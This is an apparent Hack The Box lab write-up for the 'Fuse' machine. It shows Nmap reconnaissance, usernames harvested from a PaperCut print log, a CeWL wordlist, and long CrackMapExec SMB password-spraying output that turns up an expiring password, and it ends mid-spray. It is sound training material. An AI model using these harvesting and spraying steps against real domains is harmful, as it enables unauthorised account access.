



HACKTHEBOX



Fuse

OS:  Windows

Difficulty: **Medium**

Points: **30**

Release: 13 Jun 2020

IP: 10.10.10.193

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Enumeration

Enumeration is defined as a process which establishes an active connection to the target hosts to discover potential attack vectors in the system and the same can be used for further exploitation of the system.

Step 1 – First of all we need to establish a connection to the remote network using a VPN. For this we will be using Open VPN. After you have established the connection you will get a new tunnel interface with an IP address.

```
sudeera@Mumbai:~/Documents$ mkdir Fuse
sudeera@Mumbai:~/Documents$ cd Fuse/
sudeera@Mumbai:~/Documents/Fuse$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.43.254 netmask 255.255.255.0 broadcast 192.168.43.255
    inet6 fe80::20c:29ff:fe11:1e72 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:11:1e:72 txqueuelen 1000 (Ethernet)
    RX packets 15364 bytes 18044221 (17.2 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 11787 bytes 1054613 (1.0 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 182 bytes 9172 (8.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 182 bytes 9172 (8.9 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
    inet 10.10.14.145 netmask 255.255.254.0 destination 10.10.14.145
    inet6 dead:beef:2::108f prefixlen 64 scopeid 0x0<global>
    inet6 fe80::86e8:3468:e8f4:a7bb prefixlen 64 scopeid 0x20<link>
    unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 6 bytes 288 (288.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

After that to test the connection we will ping the target host.

```
sudeera@Mumbai:~/Documents/Fuse$ ping -c 4 10.10.10.193
PING 10.10.10.193 (10.10.10.193) 56(84) bytes of data.
64 bytes from 10.10.10.193: icmp_seq=1 ttl=127 time=275 ms
64 bytes from 10.10.10.193: icmp_seq=2 ttl=127 time=265 ms
64 bytes from 10.10.10.193: icmp_seq=3 ttl=127 time=308 ms
64 bytes from 10.10.10.193: icmp_seq=4 ttl=127 time=269 ms

--- 10.10.10.193 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 264.922/279.340/308.316/17.095 ms
```

Step 2 – Now we will scan the target host using Nmap to search for open ports and there relevant services. We use **-sC** to load the default script, **-sV** to get the service/ version information of the open ports & **-oA** to get the output to a separate file.

```
# Nmap 7.80 scan initiated Wed Nov  4 20:14:44 2020 as: nmap -sC -sV -oA fuse 10.10.10.193
Nmap scan report for 10.10.10.193
Host is up (0.29s latency).
Not shown: 988 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
|_ fingerprint-strings:
|_   DNSVersionBindReqTCP:
|_     version
|_   bind
|_   bind
80/tcp    open  http          Microsoft IIS httpd 10.0
|_   http-methods:
|_   Potentially risky methods: TRACE
|_   http-server-header: Microsoft-IIS/10.0
|_   http-title: Site doesn't have a title (text/html).
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-11-04 15:05:25Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp   open  kpassud5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF:Port53-TCP:V=7.80%I=74D=11/4%Time=5FA2BE82%P=x86_64-pc-linux-gnutls(DNSV
SF:ersionBindReqTCP,20,"0\x1e0\x06\x81\x040\x010\0\0\0\0\0\07version\
SF:x04bind0\0\x10\0x03")
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Host script results:

```
|_ clock-skew: mean: 3h00m07s, deviation: 4h37m09s, median: 20m06s
|_ smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Fuse
|   NetBIOS computer name: FUSE\x00
|   Domain name: fabricorp.local
|   Forest name: fabricorp.local
|   FQDN: Fuse.fabricorp.local
|_   System time: 2020-11-04T07:07:52-08:00
|_ smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_   message_signing: required
|_ smb2-security-mode:
|   2.02:
|_   Message signing enabled and required
|_ smb2-time:
|   date: 2020-11-04T15:07:51
|_   start_date: 2020-11-04T05:37:41
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov  4 20:20:23 2020 -- 1 IP address (1 host up) scanned in 339.20 seconds
```


The above output shows that we are looking at a Domain Controller (DC) of the *fabricorp.local* domain. Apart from the standard ports exposed by domain controllers, we note that ports 5985 (Windows Remote Management) and 80 (Internet Information Services) are available. The server version is Windows Server 2016 and the OS Build is 14393.

Step 3 – Since this is a Domain controller with the DNS service running we will add this IP address to our resolver configuration file. Now each time we queries for Domain names it will first query the *fabricorp.local* Domain controller.

```
eudeera@Mumbai:~/Documents/Fuse$ sudo vim /etc/resolv.conf
```

```
# Generated by NetworkManager
nameserver 10.10.10.193
nameserver 192.168.43.1
```


Step 4 – As we know the port 80 is open and IIS service is running we will try to access it through a normal we browser.



We were redirected to PaperCut Print Logger application which is used for auditing print jobs. The page contains a list of print jobs grouped by date.

<http://fuse.fabricorp.local/papercut/logs/html/index.htm>

Clicking on the first instance 29 May 2020 reveals the print jobs below. Some interesting information can be gained from this such as the company username format (first letter of the first name followed by the surname), internal hostname format, possible job/role functions and the presence of a printer called **HP-MFT01**. We can collect 2 usernames from this page (pmerton and tlavel) and we will save them to users.txt locally.



Clicking on the second instance 30 May 2020 reveals the print jobs below. It reveals another username sthompson.

Time	User	Pages	Copies	Printer	Document	Client	Duplex	Grayscale
16:37:45	sthompson	1	1	HP-MFT01	backup_tapes - Notepad LETTER, 200g, PCL6	LONWK019	No	Yes
16:42:19	sthompson	1	1	HP-MFT01	mega_mountain_tape_request.pdf LETTER, 200g, PCL6	LONWK019	No	No
17:07:06	sthompson	1	1	HP-MFT01	Fabricorp01.docx - Word LETTER, 1536g, PCL6	LONWK019	No	Yes

Clicking on the third instance 10 June 2020 reveals the print jobs below. It reveals 2 other usernames including bhult and administrator.

Time	User	Pages	Copies	Printer	Document	Client	Duplex	Grayscale
17:40:21	bhult	1	1	HP-MFT01	offsite_dr_invocation - Notepad LETTER, 196g, PCL6	LAPTOP07	No	Yes
19:18:17	administrator	1	1	HP-MFT01	printing_issue_test - Notepad LETTER, 164g, PCL6	FUSE	No	Yes

Step 5 – Now we will add these usernames to a text file because these usernames represent the clients.

```
sudeera@Mumbai:~/Documents/Fuse$ sudo vim users.txt
```

```
pmerton
tlavel
sthompson
bhult
administrator
```

Step 6 – Now we will use CeWL (Custom word list generator) to spider the website to get some possible list of words which can then be used for password crackers such as John the Ripper. CeWL is a ruby app which spiders a given URL to a specified depth optionally following external links.

```
sudeera@Mumbai:~/Documents/Fuse$ ceWL -d 7 -m 8 -w ceWL.out http://fuse.fabricorp.local/papercut/logs/html/index.htm
CeWL 5.4.8 (Inclusion) Robin Wood (robin@ninja) (https://ninja/)
```

Step 7 – With this list we can use CrackMapExec to brute force all the passwords for the users which we were able to get previously. CrackMapExec is a post - exploitation tool that helps automate assessing the security of large Active Directory networks. We will use the option **smb** to check for the **smb** logins on port 445. By using **-u** we gave the user list which we created before and **-p** option is used to give the crawled list.


```

sudeera@humbai:~/Documents/Fuse$ crackmapexec smb 10.10.10.193 -u users.txt -p cewl.out --continue-on-success
SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:FABRICORP) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:PaperCut STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:GRAYSCALE STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:papercut STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:sthompson STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:LONWK019 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Document STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Grayscale STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Software STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Copyright STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Location STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:NotepadLETTER STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Language STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:printing STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:International STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:bnielson STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:LONWK015 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:mountain STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:invocation STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:LAPTOP07 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:administrator STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:additional STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:features STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Forbidden STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:available STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:software STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:printers STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:attached STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:consider STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:monitoring STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:reporting STATUS_LOGON_FAILURE

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SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:reporting STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:charging STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:advanced STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:management STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:inaccurate STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:developers STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Developer STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:PaperCutDev STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:permission STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:directory STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:credentials STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:supplied STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:pdfLETTER STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:WordLETTER STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\pmerton:Untitled STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:PaperCut STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:GRAYSCALE STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:papercut STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:sthompson STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:LONWK019 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:Document STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:Grayscale STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:Software STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:Copyright STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:Location STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:NotepadLETTER STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:Language STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:printing STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:International STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:bnielson STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:LONWK015 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:mountain STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE

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SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:invocation STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:LAPTOP07 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:administrator STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:additional STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:features STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:Forbidden STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:available STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:software STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:printers STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:attached STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:consider STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:monitoring STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:reporting STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:charging STATUS_LOGON_FAILURE
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SMB	10.10.10.193	445	FUSE	[~] FABRICORP\tlavel:Untitled STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:PaperCut STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:GRAYSCALE STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:papercut STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:sthompson STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:LONWK019 STATUS_LOGON_FAILURE

SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:LONWK019 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Document STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Grayscale STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Software STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Copyright STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Location STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:NotepadLETTER STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Language STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:printing STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:International STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:bnielson STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:LONWK015 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:mountain STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Fabricorp01 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:invocation STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:LAPTOP07 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:administrator STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:additional STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:features STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Forbidden STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:available STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:software STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:printers STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:attached STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:consider STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:monitoring STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:reporting STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:charging STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:advanced STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:management STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:inaccurate STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:developers STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Developer STATUS_LOGON_FAILURE

SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Developer STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:PaperCutDev STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:permission STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:directory STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:credentials STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:supplied STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:pdfLETTER STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:WordLETTER STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\sthompson:Untitled STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:PaperCut STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:GRAYSCALE STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:papercut STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:sthompson STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:LONWK019 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Document STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Grayscale STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Software STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Copyright STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Location STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:NotepadLETTER STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Language STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:printing STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:International STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:bnielson STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:LONWK015 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:mountain STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:invocation STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:LAPTOP07 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:administrator STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:additional STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:features STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Forbidden STATUS_LOGON_FAILURE

SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Forbidden STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:available STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:software STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:printers STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:attached STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:consider STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:monitoring STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:reporting STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:charging STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:advanced STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:management STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:inaccurate STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:developers STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Developer STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:PaperCutDev STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:permission STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:directory STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:credentials STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:supplied STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:pdfLETTER STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:WordLETTER STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\bhult:Untitled STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:PaperCut STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:GRAYSCALE STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:papercut STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:sthompson STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:LONWK019 STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:Document STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:Grayscale STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:Software STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:Copyright STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:Location STATUS_LOGON_FAILURE
SMB	10.10.10.193	445	FUSE	[~] FABRICORP\administrator:NotepadLETTER STATUS_LOGON_FAILURE


```

SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:NotepadLETTER STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:Language STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:printing STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:International STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:bnielson STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:LONWK015 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:mountain STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:Fabricorp01 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:invocation STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:LAPTOP07 STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:administrator STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:additional STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:features STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:Forbidden STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:available STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:software STATUS_LOGON_FAILURE
SMB 10.10.10.193 445 FUSE [-] FABRICORP\administrator:printers STATUS_LOGON_FAILURE
